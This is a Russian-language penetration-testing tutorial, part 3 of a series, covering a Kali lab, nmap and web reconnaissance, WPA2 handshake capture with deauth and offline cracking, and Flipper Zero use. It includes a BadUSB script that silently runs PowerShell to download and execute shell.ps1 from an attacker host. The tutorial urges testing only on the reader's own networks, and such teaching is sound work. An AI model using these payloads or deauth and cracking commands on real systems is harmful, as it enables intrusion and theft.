Путь хакера: серия из 5 частей
Часть 1: Введение → Часть 2: Мастерство Flipper → Часть 3: Основы Kali → Часть 4: Эксплуатация → Часть 5: Полный аудит
В частях 1 и 2 вы клонировали карты, анализировали радиочастоты и поняли, почему большая часть «безопасности» — это лишь видимость. Вы видели уязвимости снаружи. Теперь вы заходите внутрь и смотрите на них глазами атакующего.
Kali Linux — это отраслевой стандарт дистрибутива для тестирования на проникновение. Он поставляется с более чем 600 предустановленными инструментами безопасности. Это может показаться подавляющим. Большинство руководств бросают вас в глубокую воду с командами, которые вы не понимаете, и без контекста, почему они важны.
Мы делаем это иначе. К концу этой статьи у вас будет рабочая лаборатория, вы поймёте сетевую разведку на фундаментальном уровне и захватите свой первый WiFi-хендшейк. Каждый шаг строится на предыдущем.
Часть 1: Создание лаборатории
Профессиональные пентестеры не запускают Kali на своей основной машине. Они используют изолированные среды, которые можно сбросить, сделать снимок и уничтожить без влияния на основную систему. Вы сделаете то же самое.
Вариант А: Виртуальная машина (рекомендуется для обучения)
Виртуальная машина даёт вам самую безопасную среду для обучения. Вы можете сохранять снимки прогресса, допускать ошибки и мгновенно откатываться.
Что понадобится
- Хост-машина: 16GB+ RAM, 50GB+ свободного места на диске, современный процессор с поддержкой виртуализации
- ПО для виртуализации: VirtualBox (бесплатно) или VMware Workstation Player (бесплатно для личного использования)
- Kali Linux: Официальный готовый образ VM с kali.org
Проект: Настройка Kali VM
Время: 30-45 минут
Шаги:
- Скачайте образ Kali VM для вашего гипервизора (VirtualBox или VMware)
- Распакуйте скачанный архив (рекомендуется 7-Zip для Windows)
- Импортируйте VM в ваш гипервизор
- Настройте ресурсы: минимум 4GB RAM (рекомендуется 8GB), 2+ ядра процессора
- Включите сетевой адаптер в режиме «Bridged» для полного доступа к сети
- Загрузите VM и войдите с учётными данными по умолчанию:
kali/kali - Откройте терминал и выполните:
sudo apt update && sudo apt full-upgrade -y - Создайте снимок с именем «Fresh Install» для лёгкого восстановления
Проверка успеха: Вы можете открыть терминал, выполнить whoami и увидеть kali.
Вариант Б: Выделенное оборудование (для серьёзной практики)
Когда вы освоитесь с Kali, выделенное оборудование устраняет накладные расходы VM и обеспечивает полный доступ к аппаратуре, что критично для беспроводного тестирования.
Рекомендации по оборудованию
| Бюджетный вариант | Б/у ThinkPad X230/T430 ($100-150), WiFi Intel заменён на Atheros AR9285 |
|---|---|
| Современный вариант | Framework Laptop с Linux-совместимым WiFi-модулем |
| Выделенный сенсор | Raspberry Pi 5 4GB с внешним адаптером Alfa AWUS036ACH |
Пока что VM — это идеальный вариант. Выделенное оборудование становится важным, когда вам нужен режим мониторинга для беспроводного тестирования (рассматривается далее в этой статье).
Вариант В: Live USB (нулевая сохранность)
Live USB запускает Kali напрямую без установки. Всё исчезает при выключении. Полезно для тестирования на разном оборудовании, но вы потеряете свою работу каждый сеанс, если не создадите постоянный раздел.
1# Create bootable USB on Linux/Mac
2sudo dd if=kali-linux-*.iso of=/dev/sdX bs=4M status=progress
3# Replace sdX with your USB device (check with 'lsblk')
4# On Windows: Use Rufus or balenaEtcherdd уничтожает данные
Команда dd пишет напрямую на диск без подтверждения. Трижды проверьте имя устройства. Запись на неправильное устройство полностью сотрёт этот диск.
Часть 2: Мышление терминала
Прежде чем касаться инструментов безопасности, вам нужно чувствовать себя комфортно в терминале. Это не опционально. GUI в Kali существует, но настоящая работа происходит в командной строке.
Базовая навигация
1# Know where you are
2pwd # Print working directory
3
4# Move around
5cd /home/kali # Go to home directory
6cd .. # Go up one level
7cd - # Go to previous directory
8
9# See what's here
10ls # List files
11ls -la # List all files with details
12ls -lah # Human-readable sizes
13
14# Read files
15cat filename # Display entire file
16less filename # Scrollable view (q to quit)
17head -n 20 filename # First 20 lines
18tail -f filename # Follow file in real-time (logs)Повышение привилегий
Многие инструменты безопасности требуют root-доступа. В Kali sudo даёт временные привилегии root.
1sudo command # Run single command as root
2sudo -i # Start root shell (be careful)
3whoami # Check current user
4id # Show user and group IDsRoot с ответственностью
Работа от root означает отсутствие страховки. Опечатка вроде rm -rf / уничтожит всё. Современный Kali предотвращает эту конкретную команду, но принцип остаётся: понимайте, что вы запускаете, прежде чем запустить.
Управление процессами
1ps aux # All running processes
2top # Real-time process viewer
3htop # Better process viewer (install if needed)
4
5# Control processes
6ctrl+c # Stop current process
7ctrl+z # Suspend process
8bg # Resume in background
9fg # Bring to foreground
10
11# Kill processes
12kill PID # Graceful termination
13kill -9 PID # Force kill (last resort)Сетевые команды
1ip a # Show network interfaces
2ip route # Show routing table
3ping -c 4 8.8.8.8 # Test connectivity
4curl ifconfig.me # Your public IP
5
6# DNS lookups
7nslookup google.com
8dig google.comПроект: Ориентация в терминале
Время: 15 минут
Задания:
- Найдите свой IP-адрес в локальной сети с помощью
ip a - Определите шлюз по умолчанию с помощью
ip route - Пропингуйте свой шлюз для подтверждения связи
- Выведите все файлы в
/etc, отсортированные по времени изменения:ls -lt /etc | head - Прочитайте первые 50 строк
/etc/passwd:head -n 50 /etc/passwd
Цель: Вы должны уметь навигировать, проверять состояние сети и читать файлы не задумываясь.
Часть 3: Сетевая разведка с Nmap
Nmap (Network Mapper) — самый важный инструмент, который вы изучите. Он обнаруживает хосты, определяет сервисы, детектирует операционные системы и картографирует топологию сети. Всё остальное строится на выводе nmap.
Ваше первое сканирование
Давайте просканируем вашу собственную сеть. Сначала определите диапазон вашей сети:
1# Find your local IP and subnet
2ip a | grep inet
3# Look for something like: inet 192.168.1.100/24
4# The /24 means your network is 192.168.1.0-2551# Basic discovery scan (your network only)
2sudo nmap -sn 192.168.1.0/24
3
4# What this does:
5# -sn = ping scan (no port scanning, just host discovery)
6# /24 = scan all 256 addresses in this subnetВы увидите вывод вроде:
1Nmap scan report for 192.168.1.1
2Host is up (0.0025s latency).
3MAC Address: AA:BB:CC:DD:EE:FF (Manufacturer Name)
4
5Nmap scan report for 192.168.1.50
6Host is up (0.0042s latency).
7MAC Address: 11:22:33:44:55:66 (Another Manufacturer)Первое сканирование говорит вам: «Эти устройства существуют в моей сети.» Теперь зададим более глубокие вопросы.
Обнаружение сервисов
Когда вы знаете, какие хосты существуют, вы хотите узнать, какие сервисы они запускают.
1# Scan a single target for open ports and services
2sudo nmap -sV 192.168.1.1
3# -sV = Version detection (probe open ports for service info)Типичный вывод:
1PORT STATE SERVICE VERSION
222/tcp open ssh OpenSSH 8.4p1
380/tcp open http nginx 1.18.0
4443/tcp open ssl/http nginx 1.18.0Обнаружение операционной системы
1# Detect OS (requires root)
2sudo nmap -O 192.168.1.1
3
4# Combined scan: OS detection + service versions + default scripts
5sudo nmap -A 192.168.1.1Понимание состояний портов
Nmap сообщает о портах в нескольких состояниях:
- open — приложение активно принимает соединения. Это то, что ищут атакующие.
- closed — порт доступен, но приложение не слушает. Хост активен, но там ничего нет.
- filtered — файрвол или фильтр блокирует зонд. Невозможно определить, открыт или закрыт.
- unfiltered — порт доступен, но nmap не может определить, открыт он или закрыт.
Типы сканирования и скрытность
1# TCP Connect scan (default, noisy but reliable)
2sudo nmap -sT target
3
4# SYN scan (stealthier, default with root)
5sudo nmap -sS target
6
7# UDP scan (slow but important - many services use UDP)
8sudo nmap -sU target
9
10# Scan all 65535 ports (thorough but slow)
11sudo nmap -p- target
12
13# Scan specific ports
14sudo nmap -p 22,80,443,8080 target
15
16# Top 1000 common ports (default behavior)
17sudo nmap targetNmap Scripting Engine (NSE)
NSE расширяет nmap специализированными скриптами для обнаружения уязвимостей, перечисления сервисов и многого другого.
1# Run default safe scripts
2sudo nmap -sC target
3
4# Check for vulnerabilities
5sudo nmap --script vuln target
6
7# SMB enumeration (Windows shares)
8sudo nmap --script smb-enum-shares target
9
10# HTTP enumeration
11sudo nmap --script http-enum target
12
13# List available scripts
14ls /usr/share/nmap/scripts/ | head -20Проект: Картографируйте свою сеть
Время: 30 минут
Предварительные требования: Знать диапазон своей сети из ip a
- Обнаружьте все хосты:
sudo nmap -sn YOUR_NETWORK/24 - Составьте список обнаруженных хостов и их MAC-адресов
- Выберите свой роутер (обычно .1) и выполните:
sudo nmap -sV -sC YOUR_ROUTER - Определите все открытые порты и сервисы на роутере
- Выполните
sudo nmap -A YOUR_COMPUTER, чтобы увидеть, что ваша машина выставляет наружу
Документируйте: Создайте текстовый файл со списком каждого устройства, его IP, MAC и сервисов. Это ваша карта сети.
Сканируйте только свои сети
Сканирование сетей без авторизации незаконно в большинстве юрисдикций. Даже простое сканирование nmap может считаться несанкционированным доступом. Оставайтесь в своей сети, со своим оборудованием и в сетях, где у вас есть явное письменное разрешение.
Часть 4: Веб-разведка
Ваше сканирование nmap, вероятно, нашло HTTP-сервисы (порты 80, 443, 8080). Давайте разберёмся, что там работает.
Whatweb: Быстрая идентификация сервиса
# Identify web technologies
whatweb http://192.168.1.1Пример вывода:
1http://192.168.1.1 [200 OK] Country[RESERVED][ZZ],
2HTTPServer[nginx/1.18.0], IP[192.168.1.1],
3Title[Router Admin], nginx[1.18.0]Nikto: Сканер веб-уязвимостей
1# Scan for common web vulnerabilities
2nikto -h http://192.168.1.1
3
4# This checks for:
5# - Outdated server software
6# - Dangerous files/CGIs
7# - Misconfigurations
8# - Default credentialsПеречисление директорий: Что скрыто?
Веб-серверы часто имеют директории, не связанные с главной страницей: панели администрирования, файлы конфигурации, резервные копии.
# Gobuster: directory brute-forcing
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txtЧастые находки:
1/admin (Status: 301)
2/backup (Status: 403)
3/config (Status: 200)
4/login (Status: 200)Расположение словарей
Kali включает обширные словари в /usr/share/wordlists/. Самые распространённые директории: dirb/, dirbuster/, rockyou.txt (пароли) и seclists/ (полная коллекция).
Проект: Проверьте веб-интерфейс роутера
Время: 20 минут
- Выполните
whatweb http://YOUR_ROUTER_IPдля идентификации сервера - Выполните
nikto -h http://YOUR_ROUTER_IPдля проверки уязвимостей - Выполните
gobuster dir -u http://YOUR_ROUTER_IP -w /usr/share/wordlists/dirb/small.txt - Посетите обнаруженные директории в браузере
- Запишите панели администрирования, номера версий или интересные находки
Частая находка: Страницы администрирования роутера, доступные с учётными данными по умолчанию.
Часть 5: Беспроводная разведка
Здесь становится по-настоящему интересно. Сети WiFi постоянно вещают, и с правильными инструментами вы можете захватить хендшейки аутентификации — зашифрованный обмен, который происходит при подключении устройства.
Требования к оборудованию
Ваш встроенный WiFi, скорее всего, не подойдёт для этого. Вам нужен адаптер с поддержкой режима мониторинга и инъекции пакетов. Рекомендуются: Alfa AWUS036ACH ($50) или Alfa AWUS036ACM ($45). Они работают с Kali «из коробки».
Понимание режима мониторинга
Обычный режим WiFi («managed mode») получает только пакеты, адресованные вашему устройству. Режим мониторинга захватывает все пакеты в зоне действия, трафик каждого устройства на канале.
1# Check your wireless interfaces
2iwconfig
3# Look for your adapter (often wlan0 or wlan1)
4
5# Kill interfering processes
6sudo airmon-ng check kill
7
8# Enable monitor mode
9sudo airmon-ng start wlan0
10# Your interface is now wlan0monСканирование сетей
1# Start capturing wireless traffic
2sudo airodump-ng wlan0mon
3
4# You'll see:
5# BSSID = Router MAC address
6# PWR = Signal strength (higher = closer)
7# CH = Channel
8# ENC = Encryption (WPA2, WPA3, OPN)
9# ESSID = Network name
10
11# Press Ctrl+C to stopТо, что вы видите — это каждая WiFi-сеть в зоне действия, их настройки безопасности, и часто устройства, подключённые к ним. Это то, что видит war driver при сканировании кварталов.
Захват хендшейка
Когда устройство подключается к сети WPA2, происходит four-way handshake. Если вы захватите этот хендшейк, можете попытаться взломать пароль офлайн.
1# Focus on your target network (your own network!)
2sudo airodump-ng -c CHANNEL --bssid ROUTER_MAC -w capture wlan0mon
3# -c CHANNEL = Target's channel from previous scan
4# --bssid = Target router's MAC address
5# -w capture = Save to files starting with "capture"
6
7# Now wait for a device to connect...
8
9# Or force a reconnection (on YOUR network only):
10# In a new terminal:
11sudo aireplay-ng --deauth 5 -a ROUTER_MAC wlan0mon
12# This sends 5 deauth packets, disconnecting clients
13# They automatically reconnect, generating a handshakeКогда вы захватите хендшейк, airodump-ng покажет [ WPA handshake: XX:XX:XX:XX:XX:XX ] в правом верхнем углу.
Атаки Deauth незаконны
Отправка пакетов деаутентификации в сети, которые вам не принадлежат, является федеральным преступлением согласно Computer Fraud and Abuse Act (в США) и аналогичным законам в других странах. Тестируйте только в своей сети. Цель — понять уязвимость, а не атаковать других.
Взлом хендшейка
С захваченным хендшейком вы можете попытаться взломать пароль офлайн с помощью словаря:
1# Crack using a wordlist
2aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
3
4# If the password is in the wordlist, you'll see:
5# KEY FOUND! [ password123 ]
6
7# For stronger passwords, use hashcat (GPU-accelerated)
8# First, convert capture format:
9cap2hccapx capture-01.cap capture.hccapx
10
11# Then crack with hashcat:
12hashcat -m 22000 capture.hccapx /usr/share/wordlists/rockyou.txtРеальность надёжности паролей
rockyou.txt содержит 14+ миллионов паролей из реальных утечек данных. Если ваш пароль WiFi — «password123» или «summer2024» или кличка вашей собаки, он взламывается за секунды. Случайный пароль из 12+ символов потребовал бы миллионов лет для перебора.
Проект: Проверьте безопасность своего WiFi
Время: 45 минут
Предварительные требования: Внешний WiFi-адаптер с поддержкой режима мониторинга
- Включите режим мониторинга:
sudo airmon-ng start wlan0 - Просканируйте сети:
sudo airodump-ng wlan0mon - Запишите канал и BSSID своей сети
- Захватывайте на своём канале:
sudo airodump-ng -c CHANNEL --bssid YOUR_BSSID -w mywifi wlan0mon - Переподключите устройство к WiFi (или используйте deauth в СВОЕЙ сети)
- Подтвердите захват хендшейка
- Проверьте по rockyou.txt:
aircrack-ng -w /usr/share/wordlists/rockyou.txt mywifi-01.cap
Результат: Если ваш пароль был найден, немедленно смените его на что-то случайное и длинное (20+ символов).
Часть 6: Подключение Flipper Zero
Помните все те захваты из части 2? Давайте интегрируем их в ваш рабочий процесс с Kali.
Передача файлов
1# Connect Flipper via USB
2# It appears as a mass storage device
3
4# Mount if not auto-mounted
5sudo mount /dev/sda1 /mnt/flipper
6
7# Your captures are in:
8/mnt/flipper/subghz/ # Sub-GHz captures
9/mnt/flipper/nfc/ # NFC dumps
10/mnt/flipper/infrared/ # IR captures
11/mnt/flipper/lfrfid/ # 125kHz RFID
12/mnt/flipper/badusb/ # BadUSB scriptsАнализ NFC-дампов
1# Install libnfc tools
2sudo apt install libnfc-bin mfoc mfcuk
3
4# Flipper saves NFC as .nfc text format
5# Convert to binary for analysis:
6python3 flipper_nfc_to_mfd.py card.nfc card.mfd
7
8# Analyze MIFARE Classic dump
9hexdump -C card.mfd | lessАнализ Sub-GHz
1# Flipper's .sub files are text-based
2cat garage_door.sub
3
4# Contains:
5# - Frequency (315MHz, 433MHz, etc.)
6# - Protocol or RAW data
7# - Timing information
8
9# For deeper RF analysis, use:
10# - Universal Radio Hacker (URH)
11# - GNU Radio
12# - rtl_433 (with SDR hardware)Разработка BadUSB
Создавайте пейлоады BadUSB в Kali, тестируйте на Flipper:
1# Flipper uses DuckyScript-compatible syntax
2# Create payload on Kali:
3cat > kali_connect.txt << 'EOF'
4DELAY 1000
5GUI r
6DELAY 500
7STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8000/shell.ps1')"
8ENTER
9EOF
10
11# Host the payload from Kali:
12python3 -m http.server 8000
13
14# Copy to Flipper's badusb folder
15cp kali_connect.txt /mnt/flipper/badusb/Пейлоады BadUSB очень мощные
Эти скрипты выполняются автоматически при подключении. Вредоносный пейлоад может установить бэкдор, украсть учётные данные или уничтожить данные за секунды. Используйте только на своих машинах для тестирования. Никогда не оставляйте Flipper там, где кто-то другой может его подключить.
Часть 7: Документация и рабочий процесс
Профессиональные пентестеры не просто запускают инструменты. Они документируют всё. Хорошая документация отличает любителей от профессионалов.
Ведение заметок с CherryTree
1# Install CherryTree (hierarchical note-taking)
2sudo apt install cherrytree
3
4# Organize notes by:
5# - Target/network
6# - Reconnaissance
7# - Enumeration
8# - Vulnerabilities
9# - Exploitation attempts
10# - Post-exploitationСохранение вывода Nmap
1# Save in all formats
2sudo nmap -sV -sC -oA scan_results target
3
4# Creates:
5# scan_results.nmap (human-readable)
6# scan_results.xml (parseable)
7# scan_results.gnmap (greppable)Логирование сессии
1# Log entire terminal session
2script session_$(date +%Y%m%d_%H%M%S).log
3
4# Now every command and output is recorded
5# Type 'exit' to stop loggingПуть хакера
Серия из 5 частей, ведущая вас от любопытства к компетентности.
Часть 1: Введение Часть 2: Мастерство Flipper Часть 3: Основы Kali ✓ Часть 4: Эксплуатация Часть 5: Полный аудит
Чек-лист части 3
☐ Настройка лаборатории: Kali VM запущена, обновлена, снимок сохранён
☐ Терминал: Комфортная навигация, права, управление процессами
☐ Nmap: Сеть картографирована, сервисы определены, роутер просканирован
☐ Веб-разведка: Веб-интерфейс роутера проанализирован через whatweb/nikto
☐ Беспроводная: Режим мониторинга включён, сети просканированы
☐ Хендшейк: Собственный WiFi-хендшейк захвачен и протестирован
☐ Flipper: Файлы перенесены, рабочий процесс понят
☐ Документация: Заметки организованы, сканы сохранены
Что дальше
Вы построили свою лабораторию и освоили фазу разведки. Вы можете обнаруживать хосты, определять сервисы и захватывать беспроводные хендшейки. Вы понимаете, что видят атакующие, когда смотрят на сеть.
В части 4 мы переходим от разведки к эксплуатации. Вы узнаете:
- Metasploit Framework, швейцарский нож эксплуатации
- Распространённые рабочие процессы эксплуатации уязвимостей
- Техники пост-эксплуатации: что происходит после первоначального доступа
- Повышение привилегий: от обычного пользователя до администратора
- Пивотинг: использование скомпрометированной системы для атаки на другие
Разведка говорит вам, где двери. Эксплуатация учит вас, как через них пройти.
Вы составили карту территории. Теперь вы учитесь по ней ориентироваться. Часть 4 переводит вас из наблюдателя в оператора.
Увидимся в части 4.